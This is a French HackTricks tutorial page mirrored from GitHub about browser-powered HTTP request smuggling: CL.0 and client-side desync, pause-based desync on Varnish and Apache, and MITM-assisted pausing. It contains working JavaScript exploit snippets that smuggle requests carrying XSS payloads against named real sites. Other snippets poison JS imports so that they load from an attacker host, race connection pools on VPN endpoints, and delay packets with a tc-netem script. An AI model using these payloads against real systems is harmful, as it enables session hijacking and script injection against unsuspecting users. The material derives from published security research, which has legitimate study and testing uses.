mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-12 14:22:56 +00:00
322 lines
25 KiB
Markdown
322 lines
25 KiB
Markdown
# Smuggling de requête HTTP du navigateur
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## CL.0/H2.0 désynchronisation compatible avec le navigateur
|
|
|
|
Cette vulnérabilité se produit lorsque l'en-tête **Content Length** (CL) est complètement **ignoré** par le **serveur backend**. Ensuite, le backend traite le **corps** comme le **début de la méthode de la deuxième requête**. Ignorer le CL revient à le traiter comme ayant une valeur de 0, il s'agit donc d'une désynchronisation CL.0 - une classe d'attaque [connue](https://i.blackhat.com/USA-20/Wednesday/us-20-Klein-HTTP-Request-Smuggling-In-2020-New-Variants-New-Defenses-And-New-Challenges.pdf) mais moins explorée.
|
|
|
|
 (1) (2).png>)
|
|
|
|
L'attaque était possible parce que le serveur backend **n'attendait tout simplement pas une requête POST**.
|
|
|
|
{% hint style="warning" %}
|
|
Notez que cette vulnérabilité est **déclenchée** par une **requête HTTP** tout à fait **valide** et conforme à la spécification. Cela signifie que le **front-end n'a aucune chance de se protéger** contre elle, et elle pourrait même être déclenchée par un navigateur.
|
|
{% endhint %}
|
|
|
|
La seule **différence** entre **CL.0** et **H2.0** est que la deuxième utilise **HTTP2** (qui a un en-tête de longueur implicite) mais que le **backend ne l'utilise pas non plus**.
|
|
|
|
## Désynchronisation côté client
|
|
|
|
Les attaques de désynchronisation traditionnelles **empoisonnent** la **connexion** entre un **front-end et un serveur back-end**, et sont donc impossibles sur les sites Web qui n'utilisent pas une architecture front-end/back-end. Ce sont des désynchronisations côté serveur à partir de maintenant. La plupart des désynchronisations côté serveur ne peuvent être déclenchées que par un **client HTTP personnalisé émettant une requête malformée**.
|
|
|
|
La capacité d'un **navigateur à causer une désynchronisation** permet une toute nouvelle classe de menace appelée **désynchronisation côté client** (CSD).\
|
|
Une attaque CSD commence par la **visite de la victime sur le site Web de l'attaquant**, qui fait ensuite envoyer à leur navigateur **deux requêtes inter-domaines vers le site vulnérable**. La **première** requête est conçue pour **désynchroniser la connexion du navigateur** et faire en sorte que la **deuxième requête déclenche** une réponse nuisible, donnant généralement à l'attaquant le contrôle du compte de la victime.
|
|
|
|
### Détecter
|
|
|
|
Un vecteur CSD est une requête HTTP avec **deux** propriétés **clés**.
|
|
|
|
Premièrement, le **serveur doit ignorer le Content-Length (CL) de la requête**. Cela se produit généralement parce que la requête a déclenché une **erreur du serveur**, ou que le serveur n'attendait tout simplement pas une requête POST à l'endpoint choisi. Essayez de cibler les **fichiers statiques** et les **redirections au niveau du serveur**, et de déclencher des erreurs via des **URL trop longues**, et des **URL semi-malformées** comme /%2e%2e.
|
|
|
|
Deuxièmement, la requête doit être **déclenchable dans un navigateur Web inter-domaines**. Les navigateurs restreignent considérablement le contrôle sur les requêtes inter-domaines, vous avez donc un contrôle limité sur les en-têtes, et si votre requête a un corps, vous devrez utiliser la méthode HTTP POST. En fin de compte, vous ne **contrôlez** que l'**URL**, plus quelques éléments comme l'en-tête **Referer**, le corps et la **dernière partie du Content-Type.**
|
|
|
|
#### Test d'ignorance de CL
|
|
|
|
La façon de tester cette configuration incorrecte est d'**envoyer 2 requêtes et de faire passer une** dans le **milieu**. Si la connexion **déviée** a **affecté** la réponse de la **deuxième requête**, cela signifie qu'elle est **vulnérable** :
|
|
|
|
 (2) (2) (1).png>)
|
|
|
|
{% hint style="warning" %}
|
|
Notez que vous ne pouvez pas tester cette vulnérabilité en envoyant simplement un **Content-Length plus grand** que celui envoyé et en **cherchant un délai d'attente** car certains serveurs répondent même s'ils n'ont pas reçu tout le corps.
|
|
{% endhint %}
|
|
|
|
Il est important de noter si le site Web cible prend en charge HTTP/2. Les attaques CSD exploitent généralement la réutilisation de connexion HTTP/1.1 et les navigateurs Web **préfèrent utiliser HTTP/2** chaque fois que possible, donc si le site cible prend en charge HTTP/2, vos attaques sont peu susceptibles de fonctionner. Il y a une **exception** ; certains **proxys avant ne prennent pas en charge HTTP/2** donc vous pouvez exploiter quiconque les utilise. Cela inclut les proxys d'entreprise, certains VPN intrusifs et même certains outils de sécurité.
|
|
|
|
### Confirmer
|
|
|
|
Tout d'abord, sélectionnez un site pour lancer l'attaque. Ce site doit être **accessible via HTTPS** et situé sur un **domaine différent de la cible**.
|
|
|
|
Ensuite, assurez-vous que vous **n'avez pas de proxy configuré**, puis accédez à votre site d'attaque. Ouvrez les **outils de développement** et passez à l'onglet **Réseau**. Pour aider à déboguer les problèmes potentiels plus tard, je recommande de faire les ajustements suivants :
|
|
|
|
* Sélectionnez la case à cocher **"Conserver le journal"**.
|
|
* Cliquez avec le bouton droit de la souris sur les en-têtes de colonne et **activez la colonne "ID de connexion"**.
|
|
|
|
Passez à la console de développement et exécutez JavaScript pour reproduire votre séquence d'attaque en utilisant fetch(). Cela peut ressembler à quelque chose comme :
|
|
```javascript
|
|
fetch('https://example.com/', {
|
|
method: 'POST',
|
|
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
|
|
mode: 'no-cors', // ensure connection ID is visible
|
|
credentials: 'include' // poison 'with-cookies' pool
|
|
}).then(() => {
|
|
location = 'https://example.com/' // use the poisoned connection
|
|
})
|
|
```
|
|
J'ai défini le mode de récupération **'no-cors'** pour m'assurer que Chrome **affiche l'ID de connexion** dans l'onglet Réseau. J'ai également défini **credentials: 'include'** car Chrome a [**deux pools de connexions distincts**](https://www.chromium.org/developers/design-documents/network-stack/preconnect) - un pour les requêtes avec des cookies et un pour les requêtes sans. Vous voudrez généralement exploiter les **navigations**, et celles-ci **utilisent le pool 'with-cookies'**, il est donc utile de prendre l'habitude de toujours empoisonner ce pool.
|
|
|
|
Lorsque vous exécutez cela, vous devriez voir **deux requêtes** dans l'onglet Réseau avec le **même ID de connexion**, et la **deuxième** devrait déclencher un **404** :
|
|
|
|
 (2).png>)
|
|
|
|
Si cela fonctionne comme prévu, félicitations - vous avez trouvé une désynchronisation côté client !
|
|
|
|
### Exploitation - Stockage
|
|
|
|
Une option consiste à identifier une fonctionnalité sur le site cible qui vous permet de **stocker des données textuelles**, et de créer le préfixe de sorte que les cookies, les en-têtes d'authentification ou le mot de passe de votre victime finissent par être **stockés quelque part où vous pouvez les récupérer**. Ce flux d'attaque fonctionne [presque de la même manière que la désynchronisation côté serveur](https://portswigger.net/web-security/request-smuggling/exploiting#capturing-other-users-requests), donc je ne m'attarderai pas dessus.
|
|
|
|
### Exploitation - **Chaîne et pivot**
|
|
|
|
Dans des circonstances normales, de nombreuses classes d'attaques **côté serveur** ne peuvent être lancées que par un attaquant ayant un accès direct au site cible car elles **reposent sur des requêtes HTTP que les navigateurs refusent d'envoyer**, comme la **manipulation** des **en-têtes HTTP** - empoisonnement du cache web, la plupart des désynchronisations côté serveur, les attaques d'en-tête d'hôte, les injections SQL basées sur User-Agent, CSRF JSON Content-type et de nombreuses autres.
|
|
|
|
Le chemin le plus simple vers une attaque réussie est venu de deux techniques clés généralement utilisées pour les attaques de désynchronisation côté serveur : [**empoisonnement des ressources JavaScript via des redirections d'en-tête d'hôte**](https://portswigger.net/web-security/request-smuggling/exploiting#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect), et l'utilisation de la [**méthode HEAD**](https://portswigger.net/web-security/request-smuggling/advanced/request-tunnelling#non-blind-request-tunnelling-using-head) pour assembler une réponse avec un HTML malveillant. Les deux techniques ont dû être **adaptées** pour surmonter certains défis novateurs associés à l'exploitation dans le **navigateur de la victime**.
|
|
|
|
## Exemples d'exploits
|
|
|
|
### Exemple de HEAD empilé
|
|
|
|
* **Exploit coloré**
|
|
|
|
 (3).png>)
|
|
|
|
* **Exploit JS**
|
|
```javascript
|
|
fetch('https://www.capitalone.ca/assets', {
|
|
method: 'POST',
|
|
// use a cache-buster to delay the response
|
|
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
|
|
credentials: 'include',
|
|
mode: 'cors' // throw an error instead of following redirect
|
|
}).catch(() => {
|
|
location = 'https://www.capitalone.ca/'
|
|
})va
|
|
```
|
|
Explication :
|
|
|
|
* **Abus de CL.0** dans /assets (il redirige vers /assets/ et ne vérifie pas le CL)
|
|
* **Contrebande** d'une requête **HEAD** (parce que les réponses HEAD contiennent toujours une longueur de contenu)
|
|
* **Contrebande** d'une requête **GET** dont le **contenu** va être **réfléchi** dans la réponse avec la charge utile.
|
|
* En raison de la **longueur de contenu de la requête HEAD**, la **réponse** de cette requête sera le **corps de la requête HEAD**
|
|
* Définir le mode **cors**. Normalement, cela n'est pas fait, mais dans ce cas, la **réponse** du serveur à la **POST** **initiale** est une **redirection** qui, si elle est **suivie**, l'**exploit ne fonctionnera pas**. Par conséquent, le mode **cors** est utilisé pour **déclencher** une **erreur** et **rediriger** la victime avec le **`catch`**.
|
|
|
|
### **Redirection d'en-tête d'hôte + empoisonnement du cache côté client**
|
|
|
|
* **Exploit JS**
|
|
```javascript
|
|
fetch('https://redacted/', {
|
|
method: 'POST',
|
|
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
|
|
credentials: 'include'}
|
|
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
|
|
```
|
|
* Une requête vers `/+webvpn+/` avec un **domaine différent dans l'en-tête Host** est répondue avec une **redirection** vers `/+webvpn+/index.html` vers ce **domaine** dans l'en-tête Host.
|
|
* L'emplacement dans la **deuxième** requête est défini sur `/+CSCOE+/win.js` afin de **empoisonner** le **cache** de ce fichier `.js`.
|
|
* Cette requête sera répondue avec la redirection de `/+webvpn+/` vers le domaine de l'attaquant avec le chemin `/+webvpn+/index.html`
|
|
* Le **cache** de **`win.js`** sera **empoisonné** avec une **redirection** vers la page de l'**attaquant**, mais aussi la **victime** suivra la redirection car elle a été assignée à la variable `location` et finira sur la page web de l'attaquant.
|
|
* L'attaquant **redirigera** ensuite la **victime** vers `https://redacted/+CSCOE+/logon.html`. Cette page importera `/+CSCOE+/win.js`. Dont le **cache est une redirection** vers le serveur de l'**attaquant**, par conséquent, l'attaquant peut **répondre avec un code JS malveillant**.
|
|
|
|
La **victime** accédera à la page de l'**attaquant** **deux fois**, la première fois elle **s'attend à un HTML** qui redirige la victime vers `https://redacted/+CSCOE+/logon.html` et la deuxième fois elle **s'attend à un code javascript** (la charge utile). Un polyglotte peut être utilisé pour servir les deux réponses en une seule :
|
|
```
|
|
HTTP/1.1 200 OK
|
|
Content-Type: text/html
|
|
|
|
alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/
|
|
```
|
|
### Payload HEAD avec TE chunked
|
|
|
|
Lors de la recherche de CSD, vous pouvez également **tester des URL semi-malformées** telles que `/..%2f` ou `/%2f`.
|
|
|
|
* **Exploit en couleur**
|
|
|
|
 (2) (1).png>)
|
|
|
|
* **Exploit JS**
|
|
```javascript
|
|
fetch('https://www.verisign.com/%2f', {
|
|
method: 'POST',
|
|
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
|
|
credentials: 'include',
|
|
headers: {'Content-Type': 'application/x-www-form-urlencoded'
|
|
}}).catch(() => {
|
|
let form = document.createElement('form')
|
|
form.method = 'POST'
|
|
form.action = 'https://www.verisign.com/robots.txt'
|
|
form.enctype = 'text/plain'
|
|
let input = document.createElement('input')
|
|
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
|
|
input.value = ''
|
|
form.appendChild(input)
|
|
document.body.appendChild(form)
|
|
form.submit()
|
|
}
|
|
```
|
|
* La page **`/%2f`** est accédée pour **exploiter** la vulnérabilité **CL.0**.
|
|
* Une requête **HEAD** est contrebandée en utilisant l'en-tête **`Transfer-Encoding: chunked`**.
|
|
* Cet en-tête est nécessaire dans ce scénario car sinon le **serveur refuse d'accepter une requête HEAD avec un corps**.
|
|
* Ensuite, l'utilisateur envoie un POST dont le corps contient le **chunk final de la précédente requête HEAD** et une **nouvelle requête qui est contrebandée** avec du **contenu** (la charge utile JS) qui sera **réfléchie** dans la réponse.
|
|
* Par conséquent, le navigateur traitera la **réponse à la requête HEAD** comme la **réponse à la requête POST** qui contiendra également dans le **corps** de la réponse qui **reflète** l'**entrée** de l'utilisateur dans la deuxième requête contrebandée.
|
|
|
|
### Redirection d'en-tête d'hôte + RC
|
|
|
|
* **Exploit JS**
|
|
```html
|
|
<script>
|
|
function reset() {
|
|
fetch('https://vpn.redacted/robots.txt',
|
|
{mode: 'no-cors', credentials: 'include'}
|
|
).then(() => {
|
|
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
|
|
})
|
|
setTimeout(poison, 120) // worked on 140. went down to 110
|
|
}
|
|
|
|
function poison(){
|
|
sendPoison()
|
|
sendPoison()
|
|
sendPoison()
|
|
setTimeout(reset, 1000)
|
|
}
|
|
|
|
function sendPoison(){
|
|
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
|
{
|
|
method: 'POST',
|
|
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
|
mode: 'no-cors',
|
|
credentials: 'include'
|
|
}
|
|
)
|
|
}
|
|
|
|
</script>
|
|
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
|
```
|
|
Dans ce cas, encore une fois, il y a une **redirection d'en-tête d'hôte** qui pourrait être utilisée pour **pirater** une importation **JS**. Cependant, cette fois, la **redirection n'est pas mise en cache**, donc l'empoisonnement du **cache côté client** n'est pas une option.
|
|
|
|
Par conséquent, l'attaque effectuée fera que la **victime accède à la page vulnérable** dans un onglet et puis, juste **avant** que la page essaie de **charger un fichier JS**, **empoisonner** les connexions **d'acheminement de socket** (3 dans ce cas).\
|
|
Comme la **chronologie** doit être extrêmement **précise**, l'attaque est effectuée contre un **nouvel onglet à chaque itération** jusqu'à ce que cela fonctionne.
|
|
|
|
{% hint style="warning" %}
|
|
Gardez à l'esprit que dans ce cas, `/meeting_testjs.cgi` a été attaqué car il **charge** un **Javascript** qui répond avec un **404**, donc il n'est pas mis en cache. Dans d'autres scénarios où vous essayez d'attaquer un **JS qui est mis en cache**, vous devez attendre qu'il **disparaisse du cache** avant de lancer une nouvelle attaque.
|
|
{% endhint %}
|
|
|
|
Étapes résumées :
|
|
|
|
* Ouvrir une nouvelle fenêtre.
|
|
* Émettre une demande inoffensive à la cible pour établir une nouvelle connexion, rendant les chronométrages plus cohérents.
|
|
* Naviguer dans la fenêtre vers la page cible à /meeting\_testjs.cgi.
|
|
* 120ms plus tard, créer trois connexions empoisonnées en utilisant le gadget de redirection.
|
|
* 5ms plus tard, pendant le rendu de /meeting\_testjs.cgi, la victime tentera avec un peu de chance d'importer /appletRedirect.js et sera redirigée vers x.psres.net, qui sert un JS malveillant.
|
|
* Si ce n'est pas le cas, réessayer l'attaque.
|
|
|
|
## Désynchronisation basée sur la pause <a href="#pause" id="pause"></a>
|
|
|
|
La pause peut également créer de nouvelles vulnérabilités de désynchronisation en **déclenchant des implémentations de délai d'attente de demande mal guidées**.
|
|
|
|
Ainsi, un attaquant pourrait envoyer une demande avec des **en-têtes indiquant qu'il y a un corps**, puis **attendre** que le **front-end expire avant d'envoyer le corps**. Si le front-end expire mais **laisse la connexion ouverte**, le **corps** de cette demande sera **traité comme une nouvelle demande**.
|
|
|
|
### Exemple : **Varnish**
|
|
|
|
La cache Varnish dispose d'une fonctionnalité appelée `synth()`, qui vous permet d'émettre une **réponse sans transférer** la demande à l'arrière-plan. Voici une règle d'exemple utilisée pour bloquer l'accès à un dossier :
|
|
```javascript
|
|
if (req.url ~ "^/admin") {
|
|
return (synth(403, "Forbidden"));
|
|
}
|
|
```
|
|
Lors du traitement d'une **requête partielle** qui correspond à une règle synthétique, Varnish **expire** s'il ne reçoit aucune donnée pendant **15 secondes**. Lorsque cela se produit, il **laisse la connexion ouverte** pour une réutilisation même s'il n'a lu que la moitié de la requête sur la socket. Cela signifie que si le **client envoie la deuxième moitié** de la requête HTTP, elle sera interprétée comme une **nouvelle requête**.
|
|
|
|
Pour déclencher une désynchronisation basée sur une pause sur un front-end vulnérable, commencez par envoyer vos en-têtes, en promettant un corps, puis attendez simplement. Finalement, vous recevrez une réponse et lorsque vous enverrez enfin votre corps de requête, il sera interprété comme une nouvelle requête :
|
|
|
|
 (3) (1).png>)
|
|
|
|
{% hint style="warning" %}
|
|
Apparemment, cela a été corrigé le 25 janvier en tant que [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html).
|
|
{% endhint %}
|
|
|
|
### Exemple : **Apache**
|
|
|
|
Tout comme Varnish, il est vulnérable sur les **points d'extrémité où le serveur génère la réponse lui-même** plutôt que de laisser l'application gérer la requête. Cela se produit notamment avec les redirections au niveau du serveur : `Redirect 301 / /en`
|
|
|
|
### Exploitation côté serveur <a href="#server" id="server"></a>
|
|
|
|
Si le serveur vulnérable (Apache ou Varnish dans ce cas) est à l'arrière-plan, un **front-end** qui **transmet la requête au serveur d'arrière-plan** (les en-têtes HTTP dans ce cas) **sans mettre en tampon** l'ensemble du corps de la requête est nécessaire.
|
|
|
|
 (3).png>)
|
|
|
|
Dans ce cas, l'attaquant **ne recevra pas l'expiration de la réponse tant qu'il n'aura pas envoyé le corps**. Mais s'il connaît le délai d'expiration, cela ne devrait pas poser de problème.
|
|
|
|
Le répartiteur de charge d'applications (ALB) d'Amazon **diffuse les données de la connexion au besoin**, mais s'il **reçoit** la **réponse** à la **moitié de la requête** (le délai d'expiration) **avant** de recevoir le **corps**, il **n'enverra pas le corps**, donc une **condition de course** doit être exploitée ici :
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Il y a une complication supplémentaire lorsqu'il s'agit d'**exploiter Apache derrière ALB** - **les deux serveurs** ont un **délai d'expiration par défaut de 60 secondes**. Cela laisse une **fenêtre de temps extrêmement courte** pour envoyer la deuxième partie de la requête. L'attaque RC a finalement réussi après 66 heures.
|
|
|
|
### Exploitation MITM
|
|
|
|
Il est apparemment **impossible d'arrêter une requête du navigateur** afin d'exploiter une vulnérabilité de désynchronisation de pause. Cependant, vous pouvez toujours **effectuer une attaque MITM pour mettre en pause une requête** envoyée par le navigateur. Notez que cette attaque **ne repose pas sur le décryptage** du trafic.
|
|
|
|
Le flux d'attaque est très **similaire à une attaque de désynchronisation côté client régulière**. L'utilisateur visite une page contrôlée par l'attaquant, qui émet une série de **requêtes inter-domaines** vers l'application cible. La **première requête HTTP** est délibérément rembourrée pour être si **grande** que le système d'exploitation **la divise en plusieurs paquets TCP**, permettant à un MITM actif de retarder le dernier paquet, déclenchant une désynchronisation basée sur une pause. En raison du rembourrage, l'**attaquant** peut **identifier** quel **paquet mettre en pause** simplement en fonction de la **taille**.
|
|
|
|
Du côté client, cela ressemble à une désynchronisation côté client régulière utilisant le gadget HEAD, à l'exception du rembourrage de la requête :
|
|
```javascript
|
|
let form = document.createElement('form')
|
|
form.method = 'POST'
|
|
form.enctype = 'text/plain'
|
|
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
|
|
let input = document.createElement('input')
|
|
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
|
|
input.value = "x"
|
|
form.append(input)
|
|
document.body.appendChild(form)
|
|
form.submit()
|
|
```
|
|
Sur le système de l'attaquant effectuant le MITM aveugle, le délai a été mis en œuvre en utilisant tc-NetEm :
|
|
```bash
|
|
# Setup
|
|
tc qdisc add dev eth0 root handle 1: prio priomap
|
|
|
|
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
|
|
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
|
|
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
|
|
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
|
|
and 'cmp(u16 at 2 layer network lt 0x0514)' \
|
|
flowid 1:3
|
|
|
|
# Delay flagged packets by 61 seconds
|
|
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
|
```
|
|
## **Références**
|
|
|
|
* Toutes les informations de cet article ont été prises sur [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|